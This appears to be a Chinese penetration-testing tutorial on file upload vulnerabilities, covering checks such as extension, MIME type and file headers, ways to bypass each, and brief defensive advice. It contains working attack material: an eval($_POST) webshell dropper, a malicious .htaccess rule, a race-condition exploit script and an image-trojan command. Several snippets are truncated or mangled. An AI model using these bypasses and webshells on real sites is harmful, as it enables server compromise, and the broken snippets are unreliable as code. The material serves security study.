1. 概述

文件上传漏洞可以说是日常渗透测试中用得最多的一个漏洞,用它获得服务器权限最快最直接。在 Web 程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或者其它文件。如果没有限制上传类型或者限制不严格被绕过,就有可能造成文件上传漏洞。如果上传了可执行文件或者网页脚本,就会导致网站被控制甚至服务器沦陷。,复杂一点的情况是配合 Web Server 的解析漏洞来获取控制权或结合文件包含漏洞。此篇文章主要分三部分:总结一些常见的上传文件校验方式,以及绕过校验的各种姿势,最后对此漏洞提几点防护建议。

2. 上传检测流程

通常一个文件以 HTTP 协议进行上传时,将以 POST 请求发送至 Web 服务器,Web 服务器接收到请求并同意后,用户与 Web 服务器将建立连接,并传输数据。

  • 客户端 javascript 校验(一般只校验文件的扩展名)
  • 服务端校验

    • 文件头 content-type 字段校验(image/gif)
    • 文件内容头校验(GIF89a)
    • 目录路经检测(检测跟 Path 参数相关的内容)
    • 文件扩展名检测 (检测跟文件 extension 相关的内容)
    • 后缀名黑名单校验
    • 后缀名白名单校验
    • 自定义正则校验
  • WAF 设备校验(根据不同的 WAF 产品而定)

3. 客户端校验

这类检测通常在上传页面里含有专门检测文件上传的 javascript 代码 最常见的就是检测扩展名是否合法,有白名单形式也有黑名单形式。

  • 这类检测,通常是在上传页面里含有专门检测文件上传的 JavaScript 代码,最常见的就是检测扩展名是否合法,示例代码如下:
  1. function CheckFileType()
  2. {
  3. var objButton=document.getElementById("Button1");//上传按钮
  4. var objFileUpload=document.getElementById("FileUpload1");
  5. var objMSG=document.getElementById("msg");//显示提示信息用DIV
  6. var FileName=new String(objFileUpload.value);//文件名
  7. var extension=new String(FileName.substring(FileName.lastIndexOf(".")+1,FileName.length));//文件扩展名
  8. if(extension=="jpg"||extension=="JPG")//可以另行添加扩展名
  9. {
  10. objButton.disabled=false;//启用上传按钮
  11. objMSG.innerHTML="文件检测通过";
  12. }
  13. else
  14. {
  15. objButton.disabled=true;//禁用上传按钮
  16. objMSG.innerHTML="请选择正确的文件上传";
  17. }
  18. }
  • 判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,(进一步确定可以通过配置浏览器 HTTP 代理(没有流量经过代理就可以证明是客户端 JavaScript 检测))内容如:只允许传. jpg/.jpeg/.png 后缀名的文件,而此时并没有发送数据包。

绕过方法:

  • 将需要上传的恶意代码文件类型改为允许上传的类型,例如将 shell.asp 改为 shell.jpg 上传,配置 Burp Suite 代理进行抓包,然后再将文件名 shell.jpg 改为 shell.asp
  • 上传页面,审查元素,修改 JavaScript 检测函数(具体方法:可以使用 firbug 之类的插件把它禁掉)

4. 服务端检测

4.1. 服务端 MIME 类型检测

MIME 的作用:使客户端软件,区分不同种类的数据,例如 web 浏览器就是通过 MIME 类型来判断文件是 GIF 图片,还是可打印的 PostScript 文件。web 服务器使用 MIME 来说明发送数据的种类, web 客户端使用 MIME 来说明希望接收到的数据种类。

服务器端检测文件 MIME 类型可能的代码如下:

  1. <?php
  2. if($_FILES['file']['type'] != "image/gif")
  3. {
  4. echo "Sorry, we only allow uploading GIF images";
  5. exit;
  6. }
  7. $uploaddir = './';
  8. $uploadfile = $uploaddir . basename($_FILES['file']['name']);
  9. if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
  10. {
  11. echo "File is valid, and was successfully uploaded.\n";
  12. } else {
  13. echo "File uploading failed.\n";
  14. }
  15. ?>
  • 绕过方法

配置Burp Suite代理进行抓包,将Content-Type修改为image/gif,或者其他允许的类型

然后在对应目录生成shell.jpg

4.2. 服务端目录路径检测

  • 上传的数据包中,如果存在path(或者其他名称)等能够操作上传路径的参数,修改该参数配合解析漏洞Get Webshell,测试代码
  • 条件:php版本5.3.4以下;gpc关闭
  1. <?php
  2. error_reporting(0);
  3. if(isset($_POST['upload']))
  4. {
  5. $ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
  6. $file_ext = substr($_FILES['file']['name'],strpos($_FILES['file']['name'],".")+1);
  7. if(in_array($file_ext,$file_arr))
  8. {
  9. $tempFile = $_FILES['file']['tmp_name'];

4.3. 服务端文件扩展名检测

  • 黑名单检测:
    黑名单的安全性比白名单低很多,服务器端,一般会有个专门的blacklist文件,里面会包含常见的危险脚本文件类型,例如:html | htm | php | php2 | hph3 | php4 | php5 | asp | aspx | ascx | jsp | cfm | cfc | bat | exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh |phtm | shtm |inc等等。

黑名单扩展名过滤,限制不够全面:IIS默认支持解析.asp | .cdx | .asa | .cer等

  1. <?php
  2. function getExt($filename){

不被允许的文件格式.php,但是可以上传文件名为shell.php_(下划线是空格),IIS支持,linux不支持,详细见下面的特殊文件名绕过描述;

  • 白名单检测
    仅允许指定的文件类型上传,比如仅与需上传jpg | gif | doc等类型的文件,其他全部禁止
  • 绕过方法:
  • 文件名大小写绕过

    用像 AsP,pHp 之类的文件名绕过黑名单检测

  • 名单列表绕过

    用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类

  • 特殊文件名绕过:

    比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式 在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会 被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性

  • 0x00截断
    文件名后缀就一个%00字节,可以截断某些函数对文件名的判断。在许多语言函数中处理函数中,处理字符串中
    在扩展名检测这大部分都是 asp 的程序有这种漏洞,给个简单的伪代码
  1. Name = getname(http requests)

操作方法:上传dama.jpg,Burp抓包,将文件名改为dama.php%00.jpg,选中%00,进行url-decode。

PHP任意文件上传漏洞(CVE-2015-2348)**该漏洞存在于php的move_uploaded_file()函数中,这个函数一般在上传文件时被使用,用途是将上传的文件移动到新位置。这次的漏洞就出现在$destination这个参数中,这个参数代表的是上传文件移动的最终目的地址。如果$destination变量是从用户$_GET或$_POST中获得的并且我们可控,那么我们可以利用空字符\x00来截断后面的拓展名,从而造成任意文件上传。

演示代码:
`php <?php / move_uploaded_file(string $filename,string $destination) $destination参数代表得失上传文件移动的最终目的地址 如果$destination变量是从用户$_GET或$_POST中获得的并且我们可控, 那么我们可以利用空字符\x00来截断后面的拓展名,从而造成任意文件上传 / if (isset($_POST[‘Upload’])){ $target_path = WEB_PAGE_TO_ROOT.”hackable/uploads/“; $target_path = $target_path . basename($_FILES[‘uploaded’][‘name’]); $uploaded_name = $_FILES[‘uploaded’][‘name’]; $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, ‘.’) + 1); $uploaded_size = $_FILES[‘uploaded’][‘size’]; if (($uploaded_ext == “jpg” || $uploaded_ext == “JPG” || $uploaded_ext == “jpeg” || $uploaded_ext == “JPEG”) && ($uploaded_size < 100000)){ if(!move_uploaded_file($_FILES[‘uploaded’][‘tmp_name’], $_POST[‘drops’])) { $html .= ‘

  1. ‘; $html .= Your image was not uploaded.’; $html .=
‘; }else { $html .= ‘

  1. ‘; $html .= $target_path . succesfully uploaded!’; $html .=
‘; }} else{ $html .= ‘

  1. ‘; $html .= Your image was not uploaded.’; $html .=
‘; } }`
然后我们上传文件,这里把POST的drops参数利用空字符进行截断

  • .htaccess 文件攻击

    配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测,该文件仅在Apache平台上存在,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。该文件的写法如下:

    1. <FilesMatch "a.jpg">
    2. SetHandler application/x-httpd-php
    3. </FilesMatch>

    保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有”a.jpg”字符串的任意文件,统一执行。如果这个”a.jpg”的内容是一句话木马,即可利用中国菜刀进行连接

4.4. 服务端文件内容检测

  1. + 文件幻数检测:
  2. JPG FF D8 FF E0 00 10 4A 46 49 46
  3. GIF 47 49 46 38 39 61 (GIF89a)
  4. PNG 89 50 4E 47
  5. 绕过方法:
  6. 在文件幻数后面加上自己的一句话木马就行了。
  7. + 文件相关信息检测:
  8. 一般就是检查图片文件的大小,图片文件的尺寸之类的信息。
  9. 绕过方法:
  10. 伪造好文件幻数,在后面添加一句话木马之后,再添加一些其他的内容,增大文件的大小。

通常,对于文件内容检查的绕过,就是直接用一个结构完整的文件进行恶意代码注入即可。

简化的演示代码:

  1. <?php
  2. var_dump(getimagesize("shell.php"));
  3. ?>

加上GIF头内容

5. 竞争上传

演示代码:

  1. <?php
  2. $allowtype = array("gif","png","jpg");
  3. $size = 10000000;
  4. $path = "./";
  5. $filename = $_FILES['file']['name'];
  6. if(is_uploaded_file($_FILES['file']['tmp_name'])){
  7. if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
  8. die("error:can not move");
  9. }
  10. }else{
  11. die("error:not an upload file!");
  12. }
  13. $newfile = $path.$filename;
  14. echo "file upload success.file path is: ".$newfile."\n<br />";
  15. if($_FILES['file']['error']>0){
  16. unlink($newfile);
  17. die("Upload file error: ");
  18. }
  19. $ext = array_pop(explode(".",$_FILES['file']['name']));
  20. if(!in_array($ext,$allowtype)){
  21. unlink($newfile);
  22. die("error:upload the file type is not allowed,delete the file!");
  23. }
  24. ?>

首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为:

  1. <?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。利用代码如下:

  1. import os
  2. import requests
  3. import threading
  4. class RaceCondition(threading.Thread):
  5. def __init__(self):
  6. threading.Thread.__init__(self)
  7. self.url = "http://127.0.0.1:8080/upload/shell0.php"
  8. self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"
  9. def _get(self):
  10. print('try to call uploaded file...')
  11. r = requests.get(self.url)
  12. if r.status_code == 200:
  13. print("[*]create file info.php success")
  14. os._exit(0)
  15. def _upload(self):
  16. print("upload file.....")
  17. file = {"file":open("shell0.php","r")}
  18. requests.post(self.uploadUrl, files=file)
  19. def run(self):
  20. while True:
  21. for i in range(5):
  22. self._get()
  23. for i in range(10):
  24. self._upload()
  25. self._get()
  26. if __name__ == "__main__":
  27. threads = 20
  28. for i in range(threads):
  29. t = RaceCondition()
  30. t.start()
  31. for i in range(threads):
  32. t.join()

经过几次尝试后成功成功写入shell

6. 图片木马制作

命令:

  1. copy /b 1.jpg+2.php

7. 总结

条件: 寻找一个上传点,查看上传点是否可用。
利用:
首先判断是程序员自己写的上传点,还是编辑器的上传功能
如果是编辑器上传功能,goolge当前编辑器的漏洞
如果是程序员写的上传点
上传一个正常的jpg图片 查看上传点是否可用
上传一个正常的jpg图片,burp拦截,修改后缀为php (可以检测前端验证 MIME检测 文件内容检测 后缀检测)
上传一个正常的jpg图片,burp拦截, 00截断 1.php%00.jpg
判断服务器是什么类型,web服务器程序,是什么类型,版本号多少
利用解析漏洞
防御:
上传文件的存储目录禁用执行权限
文件后缀白名单,注意0x00截断攻击(PHP更新到最新版本)
不能有本地文件包含漏洞
及时修复Web上传代码(重要)
升级Web Server

参考链接

1. Upload Attack Framework
2. web中的条件竞争漏洞
3. 文件上传总结
4. 截断在文件包含和上传中的利用
5. 文件上传漏洞 https://www.cnblogs.com/0daybug/p/12311087.html ```